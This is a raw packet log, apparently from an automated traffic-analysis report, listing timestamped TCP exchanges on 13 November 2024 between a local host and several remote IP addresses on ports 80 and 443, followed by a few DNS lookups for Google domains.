Nov 13, 2024 14:41:36.349042892 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349042892 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.349052906 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349062920 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349069118 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.349075079 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349087000 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.349095106 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349107027 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349107981 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.349117041 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349129915 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349129915 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.349140882 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349150896 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349153042 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.349174976 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.349189043 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.349447966 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349459887 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349469900 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349481106 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349493027 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349497080 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.349502087 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349515915 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349525928 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349528074 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.349533081 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349538088 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349538088 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.349544048 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349548101 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349572897 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349581957 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349617958 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.349627018 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349634886 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.349639893 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349651098 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349662066 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349662066 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.349690914 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.349709034 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.349776030 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349787951 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349808931 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349821091 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349832058 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.349833012 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349844933 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349855900 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.349857092 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349868059 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.349869013 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349881887 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349893093 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.349903107 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349915028 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349922895 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.349929094 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349941969 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.349946976 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.349965096 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.349989891 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.350182056 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350193977 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350214005 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350228071 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350229979 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.350250959 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350254059 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.350275040 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350277901 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.350290060 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350295067 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.350303888 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350313902 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.350315094 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350327969 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350336075 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.350341082 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350352049 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.350364923 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350379944 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.350380898 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350394011 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350404978 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350418091 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350420952 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.350430965 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350431919 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.350445032 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350462914 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.350467920 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350481987 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350488901 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.350492954 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350500107 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.350507975 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350522995 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350529909 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.350538969 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350550890 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350550890 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.350564003 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350574017 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.350599051 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.350630045 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350641966 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350653887 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350666046 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350682020 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.350692034 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.350718021 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.350826025 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350837946 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350848913 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350860119 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350871086 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.350872040 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350886106 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350898027 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350898027 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.350910902 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350915909 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.350924015 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.350941896 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.350966930 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.351123095 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.351138115 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.351149082 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.351161957 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.351166010 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.351187944 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.351212978 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.351394892 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.351408958 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.351419926 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.351429939 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.351443052 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.351444960 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.351465940 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.351488113 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.351619005 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.351630926 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.351641893 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.351654053 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.351660013 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.351666927 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.351676941 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.351680994 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.351701975 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.351718903 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.351723909 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.351736069 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.351746082 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.351761103 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.351769924 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.351773977 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.351788044 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.351795912 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.351800919 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.351807117 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.351838112 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.351841927 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.351968050 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.351979971 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.351990938 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.352003098 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.352005959 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.352015972 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.352016926 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.352030993 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.352042913 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.352044106 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.352071047 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.352081060 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.352159977 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.352173090 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.352183104 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.352206945 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.352230072 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.368295908 CET	443	49939	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:36.368386984 CET	443	49939	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:36.368544102 CET	49939	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:36.368632078 CET	49939	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:36.368632078 CET	49939	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:36.368649960 CET	443	49939	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:36.368660927 CET	443	49939	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:36.371366978 CET	49943	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:36.371412039 CET	443	49943	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:36.371546984 CET	49943	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:36.371721029 CET	49943	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:36.371736050 CET	443	49943	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:36.375217915 CET	443	49937	51.132.193.105	192.168.2.7
Nov 13, 2024 14:41:36.375466108 CET	49937	443	192.168.2.7	51.132.193.105
Nov 13, 2024 14:41:36.375500917 CET	443	49937	51.132.193.105	192.168.2.7
Nov 13, 2024 14:41:36.376568079 CET	443	49937	51.132.193.105	192.168.2.7
Nov 13, 2024 14:41:36.376636028 CET	49937	443	192.168.2.7	51.132.193.105
Nov 13, 2024 14:41:36.377032042 CET	49937	443	192.168.2.7	51.132.193.105
Nov 13, 2024 14:41:36.377091885 CET	443	49937	51.132.193.105	192.168.2.7
Nov 13, 2024 14:41:36.377240896 CET	49937	443	192.168.2.7	51.132.193.105
Nov 13, 2024 14:41:36.377249956 CET	443	49937	51.132.193.105	192.168.2.7
Nov 13, 2024 14:41:36.377309084 CET	49937	443	192.168.2.7	51.132.193.105
Nov 13, 2024 14:41:36.377331018 CET	443	49937	51.132.193.105	192.168.2.7
Nov 13, 2024 14:41:36.386818886 CET	49932	443	192.168.2.7	51.132.193.105
Nov 13, 2024 14:41:36.386846066 CET	443	49932	51.132.193.105	192.168.2.7
Nov 13, 2024 14:41:36.421858072 CET	443	49938	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:36.422354937 CET	49938	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:36.422370911 CET	443	49938	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:36.422847033 CET	49938	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:36.422852039 CET	443	49938	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:36.466813087 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.466836929 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.466852903 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.466881990 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.466918945 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.467051983 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467082024 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467096090 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467097044 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.467118979 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.467132092 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.467132092 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467149973 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467161894 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467175961 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.467185974 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.467205048 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467206001 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.467246056 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.467304945 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467334986 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467384100 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.467384100 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.467447042 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467463970 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467475891 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467487097 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467504025 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467509985 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.467521906 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467530012 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.467534065 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467546940 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467557907 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.467561007 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467576027 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.467581034 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467587948 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467592955 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467597961 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.467600107 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467621088 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467645884 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.467657089 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467669964 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.467694044 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.467710018 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467721939 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467742920 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467751026 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.467756987 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467765093 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.467782974 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.467798948 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.467828989 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467840910 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467852116 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467864037 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467876911 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.467880011 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.467906952 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.467920065 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.467924118 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468009949 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468020916 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468033075 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468035936 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.468046904 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468050003 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.468063116 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468072891 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.468075991 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468089104 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468097925 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.468120098 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.468141079 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468142033 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.468157053 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468162060 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468168020 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468173981 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468215942 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.468235016 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468249083 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468260050 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468271971 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468282938 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468285084 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.468297005 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468298912 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.468313932 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468323946 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.468348980 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.468502998 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468516111 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468525887 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468539000 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468549013 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.468552113 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468559980 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.468564987 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468579054 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468586922 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.468594074 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468607903 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468612909 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.468626022 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.468648911 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468651056 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.468664885 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468676090 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468687057 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468703985 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.468720913 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468729019 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:36.468735933 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468745947 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:36.468759060 CET	80	49832	185.215.113.206	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 13, 2024 14:41:14.910136938 CET	192.168.2.7	1.1.1.1	0x3a04	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:41:14.910298109 CET	192.168.2.7	1.1.1.1	0xce77	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 13, 2024 14:41:18.734419107 CET	192.168.2.7	1.1.1.1	0xd3cc	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:41:18.734597921 CET	192.168.2.7	1.1.1.1	0x89d6	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 13, 2024 14:41:19.734447002 CET	192.168.2.7	1.1.1.1	0x85f8	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
